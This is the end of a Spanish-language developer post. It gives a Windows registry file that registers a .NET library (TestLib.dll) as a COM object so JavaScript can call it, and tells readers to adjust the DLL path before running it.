"Assembly"="TestLib, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null"
[HKEY_CLASSES_ROOT\CLSID\{134FC6AB-E594-4e5b-84F2-5CC612FF69D3}\InprocServer32]
"Class"="TestLib.Class1"
[HKEY_CLASSES_ROOT\CLSID\{134FC6AB-E594-4e5b-84F2-5CC612FF69D3}\InprocServer32]
"CodeBase"="file:///C:/JavaScript + Libreria C Sharp/TestLib.dll"
[HKEY_CLASSES_ROOT\CLSID\{134FC6AB-E594-4e5b-84F2-5CC612FF69D3}\InprocServer32]
"RuntimeVersion"="v2.0.50727"
[HKEY_CLASSES_ROOT\CLSID\{134FC6AB-E594-4e5b-84F2-5CC612FF69D3}\InprocServer32]
"ThreadingModel"="Both"
[HKEY_CLASSES_ROOT\CLSID\{134FC6AB-E594-4e5b-84F2-5CC612FF69D3}\InprocServer32\1.0.0.0]
"Assembly"="TestLib, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null"
[HKEY_CLASSES_ROOT\CLSID\{134FC6AB-E594-4e5b-84F2-5CC612FF69D3}\InprocServer32\1.0.0.0]
"Class"="TestLib.Class1"
[HKEY_CLASSES_ROOT\CLSID\{134FC6AB-E594-4e5b-84F2-5CC612FF69D3}\InprocServer32\1.0.0.0]
"CodeBase"="file:///C:/JavaScript + Libreria C Sharp/TestLib.dll"
[HKEY_CLASSES_ROOT\CLSID\{134FC6AB-E594-4e5b-84F2-5CC612FF69D3}\InprocServer32\1.0.0.0]
"RuntimeVersion"="v2.0.50727"
[HKEY_CLASSES_ROOT\CLSID\{134FC6AB-E594-4e5b-84F2-5CC612FF69D3}\ProgId]
@="TestLib.Class"
[HKEY_CLASSES_ROOT\TestLib.Class]
@="TestLib.Class1"
[HKEY_CLASSES_ROOT\TestLib.Class\CLSID]
@="{134FC6AB-E594-4e5b-84F2-5CC612FF69D3}"

Eso lo guardan como InteroperabilidadCOM.reg lo ejecutan y luego de ejecutarlo se supone que debería funcionales en sus maquinas la DLL, ya que fue registrada.

Ojo:

"CodeBase"="file:///C:/JavaScript + Libreria C Sharp/TestLib.dll"

Deben cambiar C:/JavaScript + Libreria C Sharp/TestLib.dll por la ruta donde ustedes tengan la DLL.

Con esto se puede ampliar mucho mas la capacidad de sus aplicaciones porque ahora no es solamente javascript sino que tiene por debajo el poder y fortaleza de .NET y su gran cantidad de clases y librerías ademas de su rápido procesamiento.

Código de Fuente:

http://estebanfuentealba.net/ejemplos/JavaScript + Libreria C Sharp.rar

Espero que les sirva esto, es solo una idea xD

Saludos!